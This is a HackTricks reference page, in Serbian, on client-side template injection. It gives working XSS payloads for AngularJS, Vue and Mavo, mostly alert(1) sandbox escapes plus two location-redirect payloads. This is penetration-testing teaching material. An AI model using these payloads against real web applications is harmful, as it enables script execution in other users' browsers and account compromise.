Client Side Template Injection (CSTI)
Tip
Nauči i vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).
Podrži HackTricks
- Pogledaj pretplatničke planove!
- Pridruži se 💬 Discord grupi, telegram grupi, prati @hacktricks_live na X/Twitter, ili pogledaj LinkedIn stranicu i YouTube kanal.
- Deli hacking trikove slanjem PR-ova u HackTricks i HackTricks Cloud github repozitorijume.
Summary
To je kao Server Side Template Injection ali na klijentu. SSTI može omogućiti izvršavanje koda na udaljenom serveru, dok CSTI može omogućiti izvršavanje proizvoljnog JavaScript koda u pretraživaču žrtve.
Testiranje za ovu ranjivost je veoma slično kao u slučaju SSTI, interpreter očekuje šablon i izvršiće ga. Na primer, sa payload-om kao što je {{ 7-7 }}, ako je aplikacija ranjiva videćete 0, a ako nije, videćete original: {{ 7-7 }}
AngularJS
AngularJS je široko korišćen JavaScript okvir koji interaguje sa HTML-om kroz atribute poznate kao direktive, a jedna od značajnih je ng-app. Ova direktiva omogućava AngularJS-u da obradi HTML sadržaj, omogućavajući izvršavanje JavaScript izraza unutar dvostrukih vitičastih zagrada.
U scenarijima gde se korisnički unos dinamički ubacuje u HTML telo označeno sa ng-app, moguće je izvršiti proizvoljan JavaScript kod. To se može postići korišćenjem sintakse AngularJS-a unutar unosa. Ispod su primeri koji pokazuju kako se JavaScript kod može izvršiti:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Možete pronaći vrlo osnovni online primer ranjivosti u AngularJS na http://jsfiddle.net/2zs2yv7o/ i u Burp Suite Academy
[!CAUTION] > Angular 1.6 je uklonio sandbox tako da od ove verzije payload poput
{{constructor.constructor('alert(1)')()}}ili<input ng-focus=$event.view.alert('XSS')>treba da radi.
VueJS
Možete pronaći ranjivu Vue implementaciju na https://vue-client-side-template-injection-example.azu.now.sh/
Funkcionalni payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
I izvorni kod ranjivog primera ovde: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
Stvarno dobar post o CSTI u VUE može se naći na https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Kredit: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Kredit: Mario Heiderich
Pogledajte više VUE payload-a na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Payload:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Više payload-a u https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Lista za detekciju brute-force-a
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
Tip
Nauči i vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).
Podrži HackTricks
- Pogledaj pretplatničke planove!
- Pridruži se 💬 Discord grupi, telegram grupi, prati @hacktricks_live na X/Twitter, ili pogledaj LinkedIn stranicu i YouTube kanal.
- Deli hacking trikove slanjem PR-ova u HackTricks i HackTricks Cloud github repozitorijume.


